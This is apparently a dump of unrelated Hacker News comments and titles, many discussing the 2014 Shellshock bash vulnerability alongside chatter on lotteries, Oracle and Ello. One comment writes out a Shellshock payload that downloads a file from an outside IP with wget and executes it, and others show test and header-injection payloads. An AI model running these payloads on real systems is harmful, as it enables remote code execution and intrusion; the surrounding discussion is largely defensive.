skysight-inc/HackerNews huggingface dataset:
bash on OSX is vulnerable, but as you say, there are few attack vectors. A client OSX machine with a stock config is not vulnerable. At a minimum, you have to enable a network service like printer sharing (CUPS), remote login (ssh), web sharing (Apache).

Then you have to configure the service in such a way to actually be vulnerable, and these are not commonly configured options.

The attacker also has to have a local privilege escalation vulnerability to exploit as well, or they're trapped as the CUPS user once they do bust in.

I don't think that the level of panic I have seen on other Hacker News threads and elsewhere on the Internet is warranted. Comparing this to Heartbleed is pretty absurd; TLS vs bash CGI is no contest in terms of deployment size.

I'm mainly concerned with public-facing, large scale web services, and in that area:

1. CGI in general and bash CGI in particular are basically unheard of.

2. system() in other scripting languages might be used, BUT to be vulnerable you have to pass through user-supplied data as environment variables without sanitizing. This was always an exploit waiting to happen.

3. ssh accounts with a command forced in authorized_keys are potentially problematic, but this would only be from users who have some relationship to your service in the first place. Personally I think a restricted shell (rsh or git-shell or whatever) is a more common option, simply because who knows what bash might get up to.

4. DHCP client scripts on Linux is an interesting exploit path, and might be a problem for laptops on shared wifi, but for the majority of Linux servers there is no attack vector. They live on controlled networks where rogue DHCP servers can't be operated.

So yes, patch the vulnerability and audit your systems and code. Also keep the response proportional to the vulnerability, this one needs a lot of other things to fall into place to be exploited.
2plus2 – addictive time killing number puzzle
Startup DynaOptics Is Fitting an Optical Zoom into a Slim Smartphone
if you don't mind me asking, did you start doing SW dev at your employer during that first year when you were still doing EE work? Or did you pick it up on your own outside of your day job ?
This "new leaf" Microsoft is showing is quite refreshing. I hope they continue to integrate themselves as part of the FOSS community while reducing their fights.
Outdoor defecation is a huge problem in India. It's very much a cultural thing, though obviously access to attractive facilities is a huge problem too.

http://www.economist.com/news/asia/21607837-fixing-dreadful-...

> Evidence is growing that India must urgently correct its cultural practices, though it is sensitive to say so. Studies of India’s population show how since at least the 1960s child mortality rates have consistently been higher in Hindu families than Muslim ones—though Muslims typically are poorer, less educated and have less access to clean water
Most of this makes sense, but I have a problem with the often-repeated assertion that humans can't handle large numbers. We might not have an intuitive sense of astronomical odds, but that's why we developed mathematics. We have the ability to compensate for our lack of numeracy by thinking through problems with structured languages. We can do much stranger things than calculate whether we should play the lottery. With math, we can calculate what it would be like to navigate in four-dimensional space.

When I hear that people act irrationally when it comes to probability, I feel like it should be replaced with the assertion that people tend to act irrationally when they have not been trained to think methodically in a particular situation or because of circumstances rely on primitive approximations. The first assertion sounds like an immutable property of human nature, when it is more of a cultural and educational issue.
I have one of these. It's great, especially because you can just fire up a serial session to it and get a REPL.

Here's a little video: https://www.flickr.com/photos/ruicarmo/14877450055/
Yes, there exist expensive square watches.

They are not even remotely as popular as circular watches. I don't personally know a single watch aficionado who wears a square watch.
All of the work on this site looks like it was done by someone with less than a year of experience in design.
Heh, good point. Fixed. The explanation is obviously intended for non-technical folks, so the distinction is probably lost there, but I do want to be correct.
You don't even need FAT if the CGI script doesn't properly escape spaces in filenames. e.g.:

env X='() { (a)=>\' sh -c "unzip wget -O /tmp/hax 8.8.8.8:hax; chmod 777 /tmp/hax; /tmp/hax"

(the "filename" here being "wget -O /tmp/hax 8.8.8.8:hax; chmod 777 /tmp/hax; /tmp/hax")
Right. I was going to mention that as well, but didn't want to be too knit picky :).
Its coincidence for both the events. But surely Mars mission will help in promotion.
Automatically start development servers with katon
"It's not enough to win, all others must fail"

This isn't the DNA of a winner, this is the DNA of a sociopath.
That will only find either clumsy exploit attempts or whitehat scans that are not trying to hide themselves.

CGI sends most headers through to the script as environment variables (i.e. a Foobar: header will turn into $HTTP_FOOBAR) so at attacker can just pick a header name that isn't likely to be logged.
Is cyber-liability insurance worth the cost?
Maybe sociopathy is adaptive in the modern world.
I assume Cloudflare are filtering HTTP headers. I cannot imagine a valid reason to pass in functions to bash in headers.
Systems with Dr. Han?
> For example, it fails to tell apart addition from the constant function 7.

Right. But how would you test for the addition function without exhaustive O(N^2) search over the whole input space? (You need to test for commutativity; if you're going to test for associativity, it grows to O(N^3)).
and how would the "benign attacker" know the super user password that sudo will ask for? its not like this is a logged in ssh session.
In the name of all corporate grunts, thanks for reminding of how subjective 'large' is...
>So if you're replicated across three availability zones you're not truly prepared for any instance to go down at any time - you're only prepared for two thirds of your instances to go down at a time?

Correct.
Another ShellShock exploit in the wild
Ask HN: Could we use Shellshock to patch vulnerable systems?
Since we know that it took weeks before most servers were fixed from the Heartbleed vulnerability, couldn't we use Shellshock to make a worm that would upgrade bash wherever it can? Are there legal issues about fixing a vulnerability in a system that doesn't belongs to you?

[edit] Ok, I guess the part about the legal issues was a bit candid. What I am really saying is wouldn't it be a good thing to have a worm closing vulnerabilities, compared to the thousands of hackers exploiting this vulnerability to steal or spy?
After about 10 different attempts:

shitstink333.beer is taken!
ajaxinvokecodewizard3141592.beer is taken!

Seems like this TLD is well picked over already.

EDIT:
I'm saying the test is broken. Maybe because general availability doesn't start until 16:00 UTC, ~15min from now?
I was told a variation of the original quote by a chess master at age < 8 (I loved chess as a kid and took some advanced classes). Thankfully, I don't recall ever acting on such advice.
Assuming a day means 8 hours, that's only 125/hr, which is right in line with what many contractors make already. Hardly premium.
no no, the fine print also show the rats were "conditioned" with a little bit of magic powder...
Note that you'll typically want to supply the URL to a CGI script on the site, not just www.example.com. Don't think you're unaffected just because the top-level page of your site doesn't appear vulnerable.
For Windows devs: remember that some tools and libraries come with bash (and some may not even tell you explicitly).

For instance, msysgit has the vulnerability[1]:

$ env x='() { :;}; echo vulnerable' bash -c "echo this is a test"
vulnerable
this is a test

[1] from the comments on the blog in the OP
Why would google not promote its own services first and foremost? Why would they not use their market dominance to squash competition? That's how capitalism works. To not use their position to further advance their products would be ignorant.
It's been dizzying to watch the propaganda surrounding IS in order to drum up support for a new war. From the very beginning, with their characterization as "too extreme for Al Qaeda" this has seemed highly orchestrated.
I've build web applications of all different sizes from the pretty simple to the really friggin complex (and I'm talking really really complex, not just some damn reoccurring food order). I'm more than familiar with it.

If you are doing something so brain dead as charging customers who abandon the checkout process that means there is a huge problem with how you are running your shop. When you charge a CC you have to make absolutely SURE you get permission first, that's like really important. From a moral standpoint, a legal standpoint, and a "I want to keep my agreements with MasterCard/Visa/etc" standpoint.
haha, I just tried to post this. I going to check if it was already posted but I figured HN had that part figured out to avoid duplicates. Just took me right to this post, solid solution.

Anyway, thought this was hilarious. The video is so nuts that I think it is a little funnier if you read the little writeup first. Just to give context to why they are hanging an ethernet cable out of the bottom of a 747. :)
The answers for your questions:

http://blogs.technet.com/b/wincat/archive/2012/12/05/fast-tc...
I'll accept student loans with debt charged at the market rate the moment the fees and interest are applied retroactively.

If a student graduating today should repay society the cost of their education, why shouldn't a student who graduated 30 years ago like, say, Tony Abbot?
Facebook killer called Ello gets the timing right
I dont agree, this is economly false. Im not particularly against investing in space stuff.

> Let's just forget for a moment that valuable skills and infrastructure are being created for India

This does not take into account what the money would have done otherwise. Since we can not know what the money otherwise would have been spent on its hard or impossilble to say it it is better for india.

> A large proportion of the expense of this mission goes to paying the wages of domestic scientists and engineers in India.

The money would alternativly also have been spent on thing bought in india, also gone into the pockets of shops and other things. This money would also have been taxed, just the same as it is now.

You are completly ignoring the counterfactual, you only look at the things that did happen, and not at the things that did not happen because of this.

So its not a win win win. It might be a win win lost. Or maybe a win lost lost. Again, im not against spending on space programmes, but your economic analysis is completly flawed. People who want taxes to build sport statums make much the same case and also ignore the counterfactual.

The spending of taxes should be done on the merits of the direct effects you want to achive and not some nebulus things that money will do later.
After several attempts I think there is no free domain.
Or maybe the test is just broken ...
It updates as you type which makes for a completely different experience.
"Larry was loathe to sell any of the company stock; he generally took a dim view of VCs and preferred to bootstrap"

Which is why 37 years after its founding, and after 28 years as a public company, he still owns 25% of the company (per Bloomberg). All the more remarkable considering Oracle is worth $173 billion.
Thanks, that actually means a lot! We’ve been heads-down trying to build for this new platform through the highs & lows, and it give us devs a lot of moral support to know that people on the outside are excited about what we’re trying to build too!
I can't understand the thought process behind the downvoting either. I'm assuming that some people aren't reading carefully, but just downvoting any negative tone (like these mild denials) on general principle.
Downvotes on HN have been approaching random lately. It doesn't mean anything.
This just in: would-be monopolist things monopolies are just fine.

If you are wondering why they are a problem, you might read "The Jungle", or any history of the era of the big industrial trusts. Or you could read "When Wizards Stay Up Late", a history of the Internet's invention. AT&T, the communications monopoly at the time, was a big barrier to the development and growth of the Internet. And, from their perspective, rightly so: they made a zillion dollars from charging for voice calls, something everybody now expects to be free.
Naruto Shippuden Episode 379 English Sub ナルト疾風伝379
Major bash vulnerability allows remote attackers to execute arbitrary code
Unofficial Mac OS X CVE-2014-6271 shellshock hotfix
Its not about how we think; its about how we feel. Some people feel safe without wearing a bicycle helmet or seatbelt, because they perceive the chances of an accident to be small or zero. The decision is made without thinking; get in the car, skip the seatbelt 'just this once, I'm not going far' and never consider the odds analytically at all.
Nowdays you can just launch anything, you have to prove that befor it dies you can fly it out to another orbit or burn it.
Karma Go – How It Works
I also sell the framework I use for the landing pages separately here: http://cascade.io

It provides more style options than designmodo's and fewer components, but I think they are both great options.
Haha not a problem! I've worked with a lot bigger (being a corporate grunt also), but this was just a starting point. In theory you could extend this structure without things getting too messy :)
Read a bit about this because I didn't understand CGI. tl;dr version of what's going on here, if I'm not mistaken (assuming apache/php for this example):

1. Web server (apache) gets request to route to CGI script (PHP)

2. Per the CGI spec, apache passes the request body to PHP as stdin & sets the HTTP headers as environment variables, so PHP can access them

3. In the PHP script, `exec`/`passthru`/`shell_exec` etc. is called to do something in the shell/on the system level. This spawns a new shell (which may be bash)

4. bash interprets the environment variables set by apache

The rub lies in step 4: when bash interprets an environment variable called `HTTP_USER_AGENT` containing the value `() { :;}; /bin/ping -c 1 198.x.x.x` it "gets confused" & interprets that first part (before the second semicolon) as a function, then executes the second part as well

Hopefully this answers the "how does the exploit get from the browser to bash?"

Further question: "If I do not use exec/shell_exec/popen etc, am I still vulnerable (just by virtue of using mod_php)?" AFAICT No, but I am not really sure (I hope someone clears this up).

Additional note about PHP: disabling all these passthru type functions has been recommended for years: http://www.cyberciti.biz/faq/linux-unix-apache-lighttpd-phpi...
Madeinindia.com would have probably better
I'm curious: what about this is particularly interesting or applicable to software developers and/or technologists?
These companies are generally abusive to their 'users' because their real customers are different. Google and Yelp's customers are advertisers, who want access to your information and attention. LinkedIn's customers are obnoxious recruiters who want to farm your information and contacts.
The pitfalls of protocol design [pdf]
100+ Social Media Monitoring Tools – Categorized and Ranked
Show HN: Leadership Lessons for Founders
Pull requests and comments are welcome. This repository is just to make it easy for those running Macs to patch until Apple releases an official software update.
Curious to know the business model. How do they sustain?
My buddy Bob dreams and doesn't buy a ticket. His rationale: his chances of the winning ticket blowing down the street and into his open hand are microscopically different from his chance of buying the winning ticket.
Visualizing bls.gov data for Computer Science related jobs
Classic. It is just free! Only charging (once) to add "special features". Curious what their cost projections are that they think this will work...
...but once the payout grows after several iterations of nobody winning the jackpot, the expected value CAN be positive!
They never said YouTube doesn't dominate video search. The accusation was “Google routinely displays YouTube results at the top of its search pages, even if YouTube is not the original source of that content.”

And, no, they don't.

They do dominate video search. But, would YouTube not dominate any video search? Hell, YouTube dominates Yahoo! video search.
All the reviews show that CBT is moderately effective for CFS. Unfortunately the effectiveness is quite modest, possibly due to the fact that CBT is based on faulty assumptions.

I'm actually in the process of getting a paper ready for publishing which gives an updated overall theory of the illness, plus a proposed treatment. However because I've been busy working on my business, this has sat on the back-burner for the last few months.

Also, there is so much hate out there for this kind of research that there is no way I'm going to post my name here.
Extremely good point, thank you. :)
>> Also, difficulties
showing termination of parsing some features of the
PDF format readily translated into denial of service
attacks against existing PDF parsers—we came up
with a single PDF file that made all the existing PDF
implementations we could test enter an endless loop.

would be nice to have the test pdf released under an open source license to use for security validation in current parser implementation
Most lotteries are not 1 in 175 million.. using the hardest-to-win lottery skews this article a bit..

I don't really understand the point of this article. Is he trying to expose the "morons" who play the lottery for being just that? Maybe the $2 or so bucks means nothing to people playing. Maybe the excitement of the lead-up to the drawing and the checking of the numbers is more fun than $2 in my pocket. You can barely even buy a soda with $2 now.

If those jackpots swell over $200M, betting $1 to win against 1:175M odds is a good bet. If I could bet $1 to win $15 and I had a 1 in 10 chance of winning, I'd do it every time.

In the end, the lottery funds go towards the city/state, and usually education. It's a fun form of charity.
That's incorrect; it does not appear to have the "export function" feature that this bug relies on.
From Ello's about page,

"Ello is completely free to use.

We occasionally offer special features to our users. If we create a special feature that you really like, you may choose to support Ello by paying a very small amount of money to add that feature to your Ello account.

You never have to pay anything, and you can keep using Ello forever, for free. By choosing to buy a feature now and then for a very small amount of money you support our work and help us make Ello better and better."

https://ello.co/wtf/post/about-ello

Edit:
Whether or not that will actually sustain them, I suppose we'll find out.
As you well know, as long as your system doesn't use bash for anything, even implicitly :)
Many folks are thinking that just because they switched their user's login shell to 'ksh' to be one of the cool ruby kids, that they're safe.
Only in Hollywood would a person like this become successful. I was certain at first that wiki page had to be a joke, but the video is even worse. This guy is completely full of it.
What a fawning piece of tripe. Uncle Larry's monomania and "others must fail" sociopathy might have worked for Oracle in a particular market and time, but it would be a recipe for utter failure in a modern startup where adaptability and collaboration are more valued. He didn't have unique entrepreneurial DNA. He had some skills that were valuable, others that were deficient, and enough luck that the former outweighed the latter.
How how I despise pages that hijack the keys I usually use for navigation and "re-purpose" them to something else. Immediate negative feelings and bad karma.
Consider that the bug can be used as an amplification attack and you have a lot of webservers behind the free plan. I'm guessing you don't want to have Cloudflare's infrastructure be the IPs that everyone is blocking because some yoyo is using this to turn those machines into DDOS slaves. Might help your case internally.
@benologist, well, maybe one day it would) thank you for your feedback
Neither your site nor the 'Case Study' contain a privacy policy and both use Google Analytics. Both are in breach of the TOS which is problematic, especially in pro-privacy jurisdictions (like Germany for example).

From their Terms of Service at http://www.google.com/analytics/terms/us.html the language is crystal clear "You must post a Privacy Policy and that Privacy Policy must provide notice of Your use of cookies that are used to collect data. You must disclose the use of Google Analytics, and how it collects and processes data..."

I'm surprised by the number of sites that ignore this. I wish you good luck with the product launch but privacy and legal compliance are hot topics lately and I think you should consider bring your site, and especially your client's sites, into compliance.
> The weight lying on "science" does form a conceptual framework that completely ignores the notion of something beyond our reach, although it inarguably is the driving force behind science.

Yes, but an idea doesn't become a matter of interest to science until it comes within our reach, in the sense of being observable in a way that forces different, similarly equipped observers to the same conclusion (the scientific meaning of "objective").

> Why do those have to opposite, can't they be reconciled into one, using some form of ternary logic?

Yes, an interesting question, but not really about science. Science concerns itself only with things that can be reduced to empirical observation, not belief.

> I mean, some things in life are unknown until proven true or false ...

That's true, but the basic scientific precept is the null hypothesis, the idea that things without evidence are assumed to be false. This is a great time-saver compared to granting credence to ideas without evidence, or assuming that something might be true until proven false (the unscientific outlook).
If you read Peter Thiel's latest book, his argument is for monopoly over competition.

Which is just another way of saying, all competition must fail.

So far, it's worked for Facebook. They have trampled their competition, or they just buy them.
You'd be surprised by the number of servers that don't ask for password when you try to use sudo. They just assume that the actual owner issued the command and go straight to issuing the command as root.

(Caveat: typically it has to be a certain user)

I'm ashamed to admit I used to think that was convenient. It makes systems infinitely more vulnerable in the event of an RCE bug.
LOL...yes very disappointing, downvote.
Redditor Explains Why the IPhone 6 Is Susceptible to Bending
"Warning: This application requires Websecurify Browser Extension for Google Chrome."

NOPE
Sometimes you have to seek what you want. It won't always come to you. If you know they are hiring for PM, go into your manager's office and ask to be considered for the position. Outline the many reasons why you would be qualified. Just bear in mind that knowing a bad PM when you see one does not make you a good PM.

A while back, a really senior co-worker left the company I was working at. I knew he worked on things that interested me so I went to the head of the department and asked to take over his work. If I had not stepped up, his work would have been distributed out over the team and I wouldn't have had the opportunities I've had since.